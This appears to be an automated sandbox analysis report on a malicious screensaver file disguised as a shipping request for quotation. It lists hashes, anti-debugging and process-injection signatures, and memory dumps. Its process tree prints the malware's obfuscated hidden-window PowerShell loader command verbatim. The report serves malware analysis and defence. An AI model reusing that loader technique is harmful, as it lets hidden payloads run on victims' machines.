Analysis
- max time kernel
988s - max time network
989s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
- submitted
29/04/2024, 06:55
General
- Target RFQ#OOCH20240429 JNJ TOTAL MARINE KOREA.scr
- Size 888KB
- Sample240429-hp4fnsdc6z
- SHA256 9f17e3a7cb7c6daefe54c609254afc31acc47daf5f3b00ef63260bb2e2d38efc
Malware Config
Signatures
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\RFQ#OOCH20240429 JNJ TOTAL MARINE KOREA.scr"C:\Users\Admin\AppData\Local\Temp\RFQ#OOCH20240429 JNJ TOTAL MARINE KOREA.scr" /S1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -windowstyle hidden "$Trows=cat 'C:\Users\Admin\AppData\Local\Caffiaceous\adressekartotekernes\dogs\Legemsstrrelse.Ban';$Destabilises=$Trows.substring(87387,3);.$Destabilises($Trows)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" "/c set /A 1^^0"3⤵
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
Legemsstrrelse.Ban
Piker.Cir
__PSScriptPolicyTest_gq1sxhf1.3r1.ps1
memory/1520-41-0x0000000005300000-0x0000000005310000-memory.dmp
memory/1520-42-0x0000000005300000-0x0000000005310000-memory.dmp
memory/1520-19-0x0000000005730000-0x0000000005752000-memory.dmp
memory/1520-20-0x0000000006070000-0x00000000060D6000-memory.dmp
memory/1520-21-0x00000000058D0000-0x0000000005936000-memory.dmp
memory/1520-14-0x0000000005160000-0x0000000005196000-memory.dmp
memory/1520-31-0x00000000061E0000-0x0000000006534000-memory.dmp
memory/1520-32-0x00000000066D0000-0x00000000066EE000-memory.dmp
memory/1520-40-0x0000000005300000-0x0000000005310000-memory.dmp
memory/1520-35-0x0000000006C10000-0x0000000006C2A000-memory.dmp
memory/1520-36-0x00000000076D0000-0x00000000076F2000-memory.dmp
memory/1520-34-0x0000000006C60000-0x0000000006CF6000-memory.dmp
memory/1520-37-0x0000000007CB0000-0x0000000008254000-memory.dmp
memory/1520-17-0x0000000005300000-0x0000000005310000-memory.dmp
memory/1520-18-0x0000000005940000-0x0000000005F68000-memory.dmp
memory/1520-39-0x00000000088E0000-0x0000000008F5A000-memory.dmp
memory/1520-33-0x0000000006790000-0x00000000067DC000-memory.dmp
memory/1520-16-0x0000000005300000-0x0000000005310000-memory.dmp
memory/1520-15-0x00000000747B0000-0x0000000074F60000-memory.dmp
memory/1520-44-0x0000000007C30000-0x0000000007C34000-memory.dmp
memory/1520-45-0x0000000008F60000-0x000000000D631000-memory.dmp
memory/1520-46-0x00000000747B0000-0x0000000074F60000-memory.dmp
memory/1520-47-0x0000000005300000-0x0000000005310000-memory.dmp
memory/1520-49-0x0000000005300000-0x0000000005310000-memory.dmp
memory/1520-50-0x00000000771D1000-0x00000000772F1000-memory.dmp
memory/1520-53-0x0000000005300000-0x0000000005310000-memory.dmp
memory/1520-52-0x0000000005300000-0x0000000005310000-memory.dmp
memory/1520-51-0x0000000005300000-0x0000000005310000-memory.dmp
memory/1520-62-0x00000000747B0000-0x0000000074F60000-memory.dmp
memory/4292-55-0x00000000771D1000-0x00000000772F1000-memory.dmp
memory/4292-56-0x0000000000EE0000-0x0000000002134000-memory.dmp
memory/4292-54-0x0000000077258000-0x0000000077259000-memory.dmp